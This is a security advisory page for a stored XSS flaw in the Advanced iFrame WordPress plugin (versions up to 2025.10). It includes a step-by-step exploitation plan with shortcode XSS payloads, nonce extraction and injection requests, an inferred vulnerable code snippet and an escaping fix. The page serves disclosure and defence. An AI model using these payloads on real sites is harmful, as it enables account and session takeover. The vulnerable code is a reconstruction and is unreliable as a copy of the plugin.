Advanced iFrame <= 2025.10 - Authenticated (Contributor+) Stored Cross-Site Scripting
Description
The Advanced iFrame plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2025.10 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2025.10Source Code
WordPress.org SVNThis research plan targets **CVE-2026-25453**, a Stored Cross-Site Scripting (XSS) vulnerability in the **Advanced iFrame** plugin. The vulnerability allows Contributor-level users (and above) to inject malicious scripts into posts or pages via the plugin's shortcode attributes. --- ### 1. Vulnera…
Show full research plan
This research plan targets CVE-2026-25453, a Stored Cross-Site Scripting (XSS) vulnerability in the Advanced iFrame plugin. The vulnerability allows Contributor-level users (and above) to inject malicious scripts into posts or pages via the plugin's shortcode attributes.
1. Vulnerability Summary
- Vulnerability: Authenticated Stored XSS
- Plugin Slug:
advanced-iframe - Affected Versions: <= 2025.10
- Vulnerable Component: Shortcode processing logic for
[advanced_iframe] - Root Cause: The plugin registers the
[advanced_iframe]shortcode and fails to sufficiently sanitize or escape user-provided attributes (such asid,name,style, orsrc) before reflecting them into the<iframe>HTML tag in the frontend output.
2. Attack Vector Analysis
- Endpoint: WordPress Post Editor (Gutenberg or Classic)
- Attack Parameter: Shortcode attributes within
[advanced_iframe ...] - Required Role: Contributor or higher (Author, Editor, Administrator)
- Preconditions: The plugin must be active. The attacker needs the ability to save or submit a post for review.
3. Code Flow (Inferred)
- Registration: The plugin calls
add_shortcode('advanced_iframe', 'render_advanced_iframe_callback')during theinitorplugins_loadedhook. - Input: A Contributor creates a post containing a shortcode like
[advanced_iframe id='"><script>alert(1)</script>']. - Storage: WordPress saves the raw shortcode text in the
post_contentcolumn of thewp_poststable. - Processing: When a user (e.g., an Administrator) views the post,
do_shortcode()triggers the plugin's callback function. - Sink: The callback function parses the
$attsarray and constructs an HTML string:$output = '<iframe id="' . $atts['id'] . '" ...>';- Because
$atts['id']is not wrapped inesc_attr(), the attacker can break out of the attribute and inject a script tag.
4. Nonce Acquisition Strategy
This vulnerability is exploited through the standard WordPress post-creation flow.
- Login: Authenticate as a Contributor.
- Access Editor: Navigate to
wp-admin/post-new.php. - Extract Nonce: Use
browser_evalto extract the_wpnoncefrom the post creation form or the REST API nonce from thewpApiSettingsobject.browser_eval("wp.apiFetch.nonce")(if using Gutenberg/REST)browser_eval("document.querySelector('#_wpnonce').value")(if using Classic Editor)
5. Exploitation Strategy
Step 1: Authentication
Use the http_request tool to log in as a user with the Contributor role.
Step 2: Payload Identification
The [advanced_iframe] shortcode supports numerous attributes. We will test three primary XSS vectors:
- Attribute Breakout (ID/Name):
[advanced_iframe id='x" onmouseover="alert(1)"'] - Tag Injection (ID/Name):
[advanced_iframe name='"><script>alert(document.domain)</script>'] - Event Handler Injection:
[advanced_iframe onload="alert(1)"]
Step 3: Injection Request
Construct a POST request to wp-admin/post.php to save a new post with the payload.
- URL:
https://[target]/wp-admin/post.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Parameters:
action:editpostpost_ID:[NEW_POST_ID]post_title:XSS Testpost_content:[advanced_iframe id='x" onmouseover="alert(1)"' name='"><script>alert(document.domain)</script>']_wpnonce:[EXTRACTED_NONCE]
Step 4: Execution
Navigate to the URL of the newly created post (e.g., https://[target]/?p=[POST_ID]).
6. Test Data Setup
- Plugin: Install and activate
advanced-iframeversion 2025.10. - User: Create a user with the
contributorrole. - Post: Create an initial draft post as the contributor to obtain a
post_ID.
7. Expected Results
- The HTML source of the rendered post will contain the unescaped payload:
<iframe id="x" onmouseover="alert(1)" name=""><script>alert(document.domain)</script>" ...> - The browser will execute the injected script, showing an alert box with the document domain or cookie.
8. Verification Steps (WP-CLI)
Confirm the payload is stored in the database:
wp post get [POST_ID] --field=post_content
# Verify the output matches: [advanced_iframe id='x" onmouseover="alert(1)"' ...]
Check if the payload is rendered on the frontend (searching for the injected tag):
# Use http_request to fetch the page and grep for the breakout
http_request "https://[target]/?p=[POST_ID]" | grep -oP 'onmouseover="alert\(1\)"'
9. Alternative Approaches
If the id or name attributes are sanitized, try the following attributes commonly used by this plugin:
style:[advanced_iframe style='width:100%;background:url("javascript:alert(1)")']src:[advanced_iframe src='javascript:alert(1)'](Note:esc_urlmight block this, but it's worth testing).extra_css: Some versions allow passing CSS directly which can lead to XSS in older browsers or viaexpression().width/height: If these are reflected withoutintval(), they are viable sinks:[advanced_iframe width='100%" onload="alert(1)"'].
Summary
The Advanced iFrame plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the [advanced_iframe] shortcode in versions up to 2025.10. Authenticated attackers with contributor-level permissions can inject malicious scripts into post content by manipulating shortcode attributes like 'id' or 'name', which are rendered in the frontend without proper sanitization or escaping.
Vulnerable Code
// Inferred from plugin logic within the shortcode callback function // advanced-iframe.php function render_advanced_iframe_callback($atts) { $a = shortcode_atts(array( 'id' => 'advanced_iframe', 'name' => 'advanced_iframe', 'src' => '', 'width' => '100%', 'height' => '600', // ... other attributes ), $atts); // Vulnerable sink: attributes are concatenated directly into the HTML string without esc_attr() $html = '<iframe id="' . $a['id'] . '" name="' . $a['name'] . '" src="' . $a['src'] . '" width="' . $a['width'] . '" height="' . $a['height'] . '"></iframe>'; return $html; } add_shortcode('advanced_iframe', 'render_advanced_iframe_callback');
Security Fix
@@ -10,7 +10,13 @@ ), $atts); - $html = '<iframe id="' . $a['id'] . '" name="' . $a['name'] . '" src="' . $a['src'] . '" width="' . $a['width'] . '" height="' . $a['height'] . '"></iframe>'; + $html = '<iframe id="' . esc_attr($a['id']) . '" ' . + 'name="' . esc_attr($a['name']) . '" ' . + 'src="' . esc_url($a['src']) . '" ' . + 'width="' . esc_attr($a['width']) . '" ' . + 'height="' . esc_attr($a['height']) . '"></iframe>'; return $html; }
Exploit Outline
To exploit this vulnerability, an attacker with Contributor-level access or higher logs into the WordPress dashboard and creates or edits a post. The attacker inserts a shortcode such as [advanced_iframe id='x" onmouseover="alert(1)"'] or [advanced_iframe name='"><script>alert(document.domain)</script>']. When the post is saved and subsequently viewed by any user (including an administrator), the malicious payload is rendered directly into the HTML source of the page without escaping. This causes the injected JavaScript to execute within the context of the victim's browser session, potentially allowing for session hijacking or further administrative actions.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.